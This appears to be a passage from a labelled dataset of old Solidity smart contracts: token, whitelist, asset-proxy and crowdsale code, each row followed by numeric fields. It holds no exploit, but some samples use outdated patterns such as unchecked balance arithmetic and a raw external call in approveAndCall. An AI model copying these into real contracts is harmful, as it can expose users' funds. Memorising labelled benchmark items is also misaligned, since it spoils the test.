require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ReMintableToken is Validator, StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event MintStarted();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier cannotMint() {
require(mintingFinished);
_;
}
modifier isAuthorized() {
require(msg.sender == owner || msg.sender == validator);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() isAuthorized canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function startMinting() onlyValidator cannotMint public returns (bool) {
mintingFinished = false;
emit MintStarted();
return true;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract CompliantTokenRemintable is Validator, DetailedERC20, ReMintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(
address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason
);
event TransferWithFee(
address indexed from,
address indexed to,
uint256 value,
uint256 fee
);
event RecordedPendingTransaction(
address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender,
uint256 nonce
);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(
address _owner,
string _name,
string _symbol,
uint8 _decimals,
address whitelistAddress,
address recipient,
uint256 fee
)
public
ReMintableToken(_owner)
DetailedERC20(_name, _symbol, _decimals)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function updateName(string _name) public onlyOwner {
require(bytes(_name).length != 0);
name = _name;
}
function updateSymbol(string _symbol) public onlyOwner {
require(bytes(_symbol).length != 0);
symbol = _symbol;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
uint256 fee = 0;
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
fee = transferFee;
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
msg.sender,
_to,
_value,
fee,
address(0)
);
emit RecordedPendingTransaction(msg.sender, _to, _value, fee, address(0), currentNonce);
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
uint256 fee = 0;
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
fee = transferFee;
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(
_from,
_to,
_value,
fee,
msg.sender
);
emit RecordedPendingTransaction(_from, _to, _value, fee, msg.sender, currentNonce);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
{
require(_approveTransfer(nonce));
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
{
_rejectTransfer(nonce, reason);
}
function bulkApproveTransfers(uint256[] nonces)
external
onlyValidator
{
for (uint i = 0; i < nonces.length; i++) {
require(_approveTransfer(nonces[i]));
}
}
function bulkRejectTransfers(uint256[] nonces, uint256[] reasons)
external
onlyValidator
{
require(nonces.length == reasons.length);
for (uint i = 0; i < nonces.length; i++) {
_rejectTransfer(nonces[i], reasons[i]);
}
}
function _approveTransfer(uint256 nonce)
private
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address to = pendingTransactions[nonce].to;
address spender = pendingTransactions[nonce].spender;
uint256 value = pendingTransactions[nonce].value;
uint256 fee = pendingTransactions[nonce].fee;
delete pendingTransactions[nonce];
if (fee == 0) {
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
if (spender != address(0)) {
allowed[from][spender] = allowed[from][spender].sub(value);
}
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value);
emit Transfer(
from,
to,
value
);
} else {
balances[from] = balances[from].sub(value.add(fee));
balances[to] = balances[to].add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowed[from][spender] = allowed[from][spender].sub(value).sub(fee);
}
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender].sub(value).sub(fee);
emit TransferWithFee(
from,
to,
value,
fee
);
}
return true;
}
function _rejectTransfer(uint256 nonce, uint256 reason)
private
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
uint256 value = pendingTransactions[nonce].value;
if (pendingTransactions[nonce].fee == 0) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(
from,
pendingTransactions[nonce].to,
value,
nonce,
reason
);
delete pendingTransactions[nonce];
}
} | 1 | 4,740 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MoniCoin is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MoniCoin(
) {
balances[msg.sender] = 21000000000000000000000000;
totalSupply = 21000000000000000000000000;
name = "Moni Coin";
decimals = 18;
symbol = "ESC";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,116 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract AssetProxy is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 4,848 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract TimedPresaleCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public presaleOpeningTime;
uint256 public presaleClosingTime;
uint256 public bonusUnlockTime;
event CrowdsaleTimesChanged(uint256 presaleOpeningTime, uint256 presaleClosingTime, uint256 openingTime, uint256 closingTime);
modifier onlyWhileOpen {
require(isPresale() || isSale());
_;
}
constructor(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public
TimedCrowdsale(_openingTime, _closingTime) {
changeTimes(_presaleOpeningTime, _presaleClosingTime, _openingTime, _closingTime);
}
function changeTimes(uint256 _presaleOpeningTime, uint256 _presaleClosingTime, uint256 _openingTime, uint256 _closingTime) public onlyOwner {
require(!isFinalized);
require(_presaleClosingTime >= _presaleOpeningTime);
require(_openingTime >= _presaleClosingTime);
require(_closingTime >= _openingTime);
presaleOpeningTime = _presaleOpeningTime;
presaleClosingTime = _presaleClosingTime;
openingTime = _openingTime;
closingTime = _closingTime;
